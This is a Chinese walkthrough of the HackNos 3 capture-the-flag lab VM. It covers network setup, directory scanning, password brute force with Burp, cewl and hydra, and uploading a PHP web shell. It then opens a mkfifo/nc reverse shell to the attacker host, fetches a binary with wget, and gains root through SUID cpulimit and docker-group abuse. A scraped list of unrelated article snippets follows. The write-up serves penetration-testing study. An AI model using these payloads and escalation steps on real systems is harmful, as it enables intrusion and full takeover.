HackNos 3靶场

配置

进入控制面板配置网卡

第一步:启动靶机时按下 shift 键,

  • 进入以下界面

image-20230811104648298

第二步:选择第二个选项,然后按下 e 键,进入编辑界面

image-20230811104707659

将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入一个相当于控制台的界面,里面可以执行命令

image-20230811104721458

ip a 查看一下实际用的网卡,这里是ens33

image-20230811104737405

这里和直接的不同

20.04的ubuntu已经不用/etc/network/interfaces来设置网络了,变成在/etc/netplan下的文件来配置了

教程:Ubuntu Server 20.04 网卡启动及配置(配置前请注意文件备份)_邹霍梁@数字化企业的博客-CSDN博客

打开配置文件

sudo vim /etc/netplan/00-installer-config.yaml
1

按下i进入编辑模式,修改网卡为DHCP

network:  version: 2  ethernets:eth0:	# 这个以实际网卡为准dhcp4: true 
12345

修改为静态ip:

network:version: 2ethernets:eth0:	# 这个以实际网卡为准dhcp4: noaddresses: [192.168.1.2/24]optional: truegateway4: 192.168.1.1nameservers:addresses: [218.2.135.1,8.8.8.8]
12345678910

注意yaml对缩进和空格要求严格

应用更改

sudo netplan apply

一、信息收集

获取ip

目录扫描

gobuster  dir -u  http://192.168.16.200/    -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

扫描出三个目录

image-20230817170442281

二级目录扫描

gobuster  dir -u  http://192.168.16.200/websec    -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 

image-20230817170537524

登录发现有一个邮箱,保存下来

http://192.168.16.200/websec/index

image-20230817170242902

在http://192.168.16.200/websec/login发现登录后台页面,需要使用邮箱

image-20230817170637358

二、密码爆破

1.bp爆破密码

该后台登录页面对登录请求的IP进行了限制

去掉Cookie头部字段后可以正常爆破

使用burpsuitr,抓包,默认的字典是没办法跑出来的

image-20230817173026039

字典获取-工具cewl

Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件。

工具源地址:【传送门】

使用cewl爬取网站信息然后生成目标网站字典文件

 cewl http://192.168.16.200/websec/ > cewl.txt

image-20230817174032380

image-20230817174314429

导入字典重新爆破

根据收集的网站信息,邮箱contact@hacknos.com,使用字典cewl.txt进行爆破

成功爆破出密码 Securityx

image-20230817174505374

进入管理后台了

image-20230817174658960

2.hydra爆破

这里还可以使用hrdra进行爆破

hardra教程参考:

无验证码]Web页面_hydra爆破web_Yuri800的博客-CSDN博客

爆破语法:

hydra -l contact@hacknos.com -P cewl.txt 192.168.0.3 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Log In"

参数解释:

# -l 用户名
# -P 密码字典
# https-post-form、http-get-form、https-get-form -提交方式
#username=^USER^&password=^PASS^:Log In" username=^USER^&password=^PASS^,把在network中看到的POST提交的内容只是把用户名和密码部分换成了^USER^和^PASS^。USER对应前面的-l 后跟的用户名root,PASS会被字典中的密码逐个替换。:Log In表示成功

POST的内容就是一个简单的键值对的形式(username=用户名&password=密码)

image-20230818091508465

爆破结果:

[80][http-post-form] host: 192.168.16.200 login: contact@hacknos.com password: Securityx

image-20230818092228231

三、后门上传

进入后台后,发现文件上传点

image-20230818093050096

新建php文件,插入上传一句话木马文件

<?php system($_REQUEST['cmd']);?>

image-20230818105435322

可以看到后门文件上传后的路径

image-20230818105632070

访问后门文件:

被禁止访问

image-20230818105831278

返回查看htaccess配置文件

可以看到里面代码对所有 .php 文件执行“拒绝访问”的操作。

image-20230818110025191

删除重新访问

访问中删除admin后成功

http://192.168.16.200/websec/tmp/houmen.php?cmd=id

image-20230818111900737

四、nc反弹

抓取 后门后的数据包,修改请求为post请求

image-20230818113756931

kaili开启nc监听

image-20230818114116044

反弹使用:

linux反弹备忘录 | (moonsec.com)

常用的一句话反弹shell总结_php一句话反弹shell_橘子女侠的博客-CSDN博客

image-20230818142207771

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.180 9002 >/tmp/f

编译后执行

image-20230818144337844

切换到bash

python -c 'import pty;pty.spawn("/bin/bash")'

五、第一个flag

查看网站存放的目录

www-data@hacknos:/var/www/html$ ls
ls
bg.jpg  devil  index.html  scripts  upload.php  websec
www-data@hacknos:/var/www/html$ cd websec
cd websec
www-data@hacknos:/var/www/html/websec$ ls
ls
Dockerfile  assets              config.php  log         sites   tmp
LICENSE     composer.json       index.php   robots.txt  src
app.yaml    config.default.php  lib         shell.php   themes

查看config.php文件内容

存放有数据库账号和密码,可以留着后面使用

image-20230818144632175

查看账号保存位置

cat  /etc/passwd 

image-20230818150533202

看到有个blackdevil用户,查看旗下的user.txt

拿到第一个flag

image-20230818150647137

六、cpulimit提权

扫描suid文件

 find / -perm -u=s 2>/dev/null

image-20230818151728519

查找到SUID权限的命令:cpulimit

在Ubuntu中使用cpulimit限制进程的使用率_ubuntu 离线安装 cpulimit__Slience_的博客-CSDN博客

用法
限制firefox使用30% cpu 利用率 cpulimit -e firefox -l 30
限制进程号1313的程序使用30% cpu 利用率 cpulimit -p 1313 -l 30
限制绝对路径下该软件的 cpu 利用率cpulimit -e /usr/local/nginx/sbin/nginx -l 50
停止当前限制Ctrl + C

查找用户所创建的文件

find / -user 1000 2>/dev/null

image-20230818151629213

查看当前用户可以使用的管理员命令

sudo -l

image-20230818154235411

使用cpulimit提权

1.kali编写c代码

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>int main()
{setuid(0);  #该函数用于设置实际用户ID,将其设置为0,即root用户的UID。这将把进程的权限提升为超级用户。setgid(0);#类似于 setuid,此函数设置实际组ID,将其设置为0,即root组的GID。system("/bin/bash");# system 函数用于在新的进程中执行一个 shell 命令。在这里,它执行了 /bin/bash,启动了一个交互式的 Bash Shell,因为Bash Shell位于 /bin/bash。return 0;#返回0表示执行成功#
}

image-20230818155046700

2.编译代码

gcc   a.c -o tiquanchmod 777 tiquan

image-20230818155350575

3.上传到靶场

使用base64加密编译好的文件

base64 tiquan 

image-20230818155758093

复制在靶场处新建文件

使用: stty cooked echo

或者pyton上传

python -m http.server 8888
wget http://192.168.16.180:8888/tiquan

image-20230818161029017

4.使用cpulimit执行

方法一、命令提权

cpulimit -l 100 -f -- /bin/sh -p因为这里的cpulimit是可以执行suid权限
这个命令的目的是以限制的CPU使用率(在这里是100%)运行一个交互式Shell也为suid权限

直接提权成功

image-20230818161356923

方法二、脚本提权

使用刚刚编译好的c语言提权代码

执行

chmod +x tiquancpulimit -l 100 -f ./tiquan

七、docker提权

使用docker提权要先登录

查看目录

cat /var/local/database

image-20230818175653275

在线解密:

spreadsheet mimic - encode (spammimic.com)

全部复制

image-20230818175744686

解密得到密码:Security@x@

image-20230818175800715

用户登录:blackdevil 密码 : Security@x@

并且看到属于docker组

image-20230818180007608

下载docker镜像文件,启动容器并挂载宿主机的根目录

docker run -it -v /:/mnt alpine /bin/sh# alpine镜像非常小非常适合用于提权
# 由于已经将宿主机根目录挂载到了容器的/mnt/目录下,因此在容器内,/mnt/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限
chroot /mnt

image-20230819135533105

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/43242.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构的图存储结构

目录 数据结构的图存储结构 图存储结构基本常识 弧头和弧尾 入度和出度 (V1,V2) 和 的区别,v2> 集合 VR 的含义 路径和回路 权和网的含义 图存储结构的分类 什么是连通图&#xff0c;&#xff08;强&#xff09;连通图详解 强连通图 什么是生成树&#xff0c;生…

springboot集成ES

1.引入pom依赖2.application 配置3.JavaBean配置以及ES相关注解 3.1 Student实体类3.2 Teacher实体类3.3 Headmaster 实体类4. 启动类配置5.elasticsearchRestTemplate 新增 5.1 createIndex && putMapping 创建索引及映射 5.1.1 Controller层5.1.2 service层5.1.3 ser…

leetcode做题笔记85最大矩形

给定一个仅包含 0 和 1 、大小为 rows x cols 的二维二进制矩阵&#xff0c;找出只包含 1 的最大矩形&#xff0c;并返回其面积。 示例 1&#xff1a; 思路一&#xff1a;单调栈 int maximalRectangle(char** matrix, int matrixSize, int* matrixColSize){int dp[matrixSize…

使用MAT分析OOM问题

OOM和内存泄漏在我们的工作中&#xff0c;算是相对比较容易出现的问题&#xff0c;一旦出现了这个问题&#xff0c;我们就需要对堆进行分析。 一般情况下&#xff0c;我们生产应用都会设置这样的JVM参数&#xff0c;以便在出现OOM时&#xff0c;可以dump出堆内存文件&#xff…

基于libevent的tcp服务器

libevent使用教程_evutil_make_socket_nonblocking_易方达蓝筹的博客-CSDN博客 一、准备 centos7下安装libevent库 yum install libevent yum install -y libevent-devel 二、代码 server.cpp /** You need libevent2 to compile this piece of code Please see: http://li…

专访 BlockPI:共建账户抽象未来的新一代 RPC 基础设施

在传统 RPC 服务板块上&#xff0c;开发者一直饱受故障风险、运行环境混乱等难题的折磨。实现 RPC 服务的去中心化&#xff0c;且保持成本优势和可扩展性&#xff0c;始终是区块链基础设施建设的重要命题之一。从 2018 年观察中心化 RPC 供应商服务现状开始&#xff0c;BlockPI…

内存管理(1)

内存管理&#xff08;1&#xff09; 1、各类型数据在内存中的存储空间2、C内存管理方式2.1 针对于内置类型分析2.2 针对于自定义类型分析2.3 C语言与C在申请动态内存失败时的区别 3、operator new 和 operator delete函数&#xff08;重点&#xff09;3.1 底层知识解析3.2 实现…

linux-shell脚本收集

创建同步脚本xsync mkdir -p /home/hadoop/bin && cd /home/hadoop/bin vim xsync#!/bin/bash#1. 判断参数个数 if [ $# -lt 1 ] thenecho Not Arguementexit; fi#2. 遍历集群所有机器 for host in node1 node2 node3 doecho $host #3. 遍历所有目录&#xff0c;挨…

web3:使用Docker-compose方式部署blockscout

最近做的项目,需要blockscout来部署一个区块链浏览器,至于blockscout是什么,咱们稍后出一篇文章专门介绍下,本次就先介绍一下如何使用Docker-compose方式部署blockscout,以及过程中遇到的种种坑 目录 先决条件我的环境准备工作Docker-compose1.安装方式一:下载 Docker Co…

财务数据分析之现金流量表模板分享

现金流量表是我们常说的财务数据分析三表之一。它可以呈现一个企业的现金流情况&#xff0c;揭示企业经营管理健康状态&#xff0c;但在实际使用中却有总给人一种用不上、用不好的矛盾感。怎么才能把现金流量表做好&#xff1f;不如借鉴下大神的现金流量表模板。 下面介绍的是…

RabbitMQ-消息中间件学习记录(what-how-why)

什么是消息中间件 简单的来说就是消息队列中间件&#xff0c;生产者发送消息到中间件&#xff0c;消息中间件用于 保存消息并发送消息到消费者。 消息中间件RabbitMQ的基本组件 1&#xff09;producer -生产者 2&#xff09;customer -消费者 3&#xff09;broker (经纪人)- M…

【Java 动态数据统计图】动态数据统计思路案例(动态,排序,数组)四(116)

需求&#xff1a;&#xff1a;前端根据后端的返回数据&#xff1a;画统计图&#xff1b; 1.动态获取地域数据以及数据中的平均值&#xff0c;按照平均值降序排序&#xff1b; 说明&#xff1a; X轴是动态的&#xff0c;有对应区域数据则展示&#xff1b; X轴 区域数据降序排序…

LabVIEW调用DLL传递结构体参数

LabVIEW 中调用动态库接口时&#xff0c;如果是值传递的结构体&#xff0c;可以根据字段拆解为多个参数&#xff1b;如果参数为结构体指针&#xff0c;可用簇&#xff08;Cluster&#xff09;来匹配&#xff0c;其内存连续相当于单字节对齐。 1.值传递 接口定义&#xff1a; …

【FAQ】调用视频汇聚平台EasyCVR的iframe地址,视频无法播放的原因排查

有用户反馈&#xff0c;在调用iframe地址后嵌入用户自己的前端页面&#xff0c;视频无法播放并且要求登录。 安防监控视频汇聚平台EasyCVR基于云边端一体化架构&#xff0c;具有强大的数据接入、处理及分发能力&#xff0c;可提供视频监控直播、云端录像、视频云存储、视频集中…

视频集中存储EasyCVR视频汇聚平台定制项目增加AI智能算法

安防视频集中存储EasyCVR视频汇聚平台&#xff0c;可支持海量视频的轻量化接入与汇聚管理。平台能提供视频存储磁盘阵列、视频监控直播、视频轮播、视频录像、云存储、回放与检索、智能告警、服务器集群、语音对讲、云台控制、电子地图、平台级联、H.265自动转码等功能。为了便…

【Unity每日一记】Physics.Raycast 相关_Unity中的“X光射线”

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;uni…

05_bitmaphyperloglogGEO

Bitmap&hyperloglog&GEO 面试问 记录对集合中的数据进行统计在移动应用中&#xff0c;需要统计每天的新增用户数和第2天的留存用户数&#xff1b;在电商网站的商品评论中&#xff0c;需要统计评论列表中的最新评论&#xff1a;在签到打卡中&#xff0c;需要统计一个月内…

Python “贪吃蛇”游戏,在不断改进中学习pygame编程

目录 前言 改进过程一 增加提示信息 原版帮助摘要 pygame.draw pygame.font class Rect class Surface 改进过程二 增加显示得分 改进过程三 增加背景景乐 增加提示音效 音乐切换 静音切换 mixer.music.play 注意事项 原版帮助摘要 pygame.mixer pygame.mix…

kvm和vmware有什么区别?如何选择?

一、kvm和vmware的区别 VMware vSphere 平台 VMware 可以提供 ESXi 虚拟机监控程序和 vSphere 虚拟化平台。VMware ESXi 是一个能够直接安装到物理服务器上的裸机虚拟机监控程序&#xff0c;可以帮你整合硬件。你可以用 VMware 的虚拟化技术来创建和部署虚拟机&#xff08;VM…

HTML详解连载(7)

HTML详解连载&#xff08;7&#xff09; 专栏链接 [link](http://t.csdn.cn/xF0H3)下面进行专栏介绍 开始喽结构伪类选择器作用 :nth-child&#xff08;公式&#xff09;作用举例 伪元素选择器作用注意&#xff1a; PxCoook作用盒子模型-重要组成部分 盒子模型-边框线属性名属性…